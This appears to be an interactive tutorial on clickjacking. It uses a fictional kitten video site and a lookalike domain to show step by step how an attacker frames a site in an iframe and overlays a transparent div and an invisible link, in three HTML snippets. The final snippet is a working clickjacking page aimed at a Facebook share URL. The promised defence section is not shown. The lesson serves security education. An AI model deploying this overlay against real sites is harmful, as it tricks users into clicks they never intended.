Clickjacking
Exit
Clickjacking is a method of tricking website users into clicking on a harmful link, by disguising the link as something else.
Imagine you are the owner of the leading kitten video site on the internet, and you find yourself hosting the most clickable kitten video the world has ever seen.
This makes you a pretty good target for hackers wanting to steal clicks.
Suppose your site lives at www.kittens.com. Unless you have implemented protective measures, a hacker could build their own site with a very similar URL, and include your site in an iframe.
Next, the attacker adds a transparent div on top of the iframe, with a higher z-index...
...and wraps that div in a link tag.
Now a user who wants to view your video can be tricked into performing any action the attacker intends - even potentially harmful ones, like downloading malware or being taken to online scams.
As far as the browser knows, the user has legitimately chosen to click on the hacker's link. As a result, the browser will go ahead and perform whatever action is sitting behind that link.
Go ahead and click on the incredible cat video, and see what happens.
Luckily, clickjacking is easy to defend against. Let's see how.
www.kittens.com/vacuum-revenge
www.k1tt3ns.com/vacuum-revenge
www.k1tt3ns.com/vacuum-revenge
Your Website, Enclosed In An Iframe...
<html>
  <head>
    <style>
      body {
        position: relative;
        margin: 0;
      }

      iframe {
        border: none;
        position: absolute;
        width: 100%;
        height: 100%;
      }
    </style>
  </head>
  <body>
    <iframe src="www.kittens.com/vacuum-revenge">
    </iframe>
  </body>
</html>
...With A Transparent DIV Overlaid...
<html>
  <head>
    <style>
      body {
        position: relative;
        margin: 0;
      }

      iframe, div {
        border: none;
        position: absolute;
        width: 100%;
        height: 100%;
      }

      div {
        z-index: 100;
      }
    </style>
  </head>
  <body>
    <iframe src="www.kittens.com/vacuum-revenge">
    </iframe>
    <div></div>
  </body>
</html>
...And An Invisible Link
<html>
  <head>
    <style>
      body {
        position: relative;
        margin: 0;
      }

      iframe, div, a {
        border: none;
        position: absolute;
        width: 100%;
        height: 100%;
      }

      div {
        z-index: 100;
      }

      a {
        display: block;
      }
    </style>
  </head>
  <body>
    <iframe src="www.kittens.com/vacuum-revenge">
    </iframe>
    <div>
      &lt;a href=&quot;https://www.facebook.com/sharer/sharer.php?
      u=http%3A%2F%2Fwww.fakewebsite.com&quot;&gt;&lt;/a&gt;
    </div>
  </body>
</html>
www.k1tt3ns.com/vacuum-revenge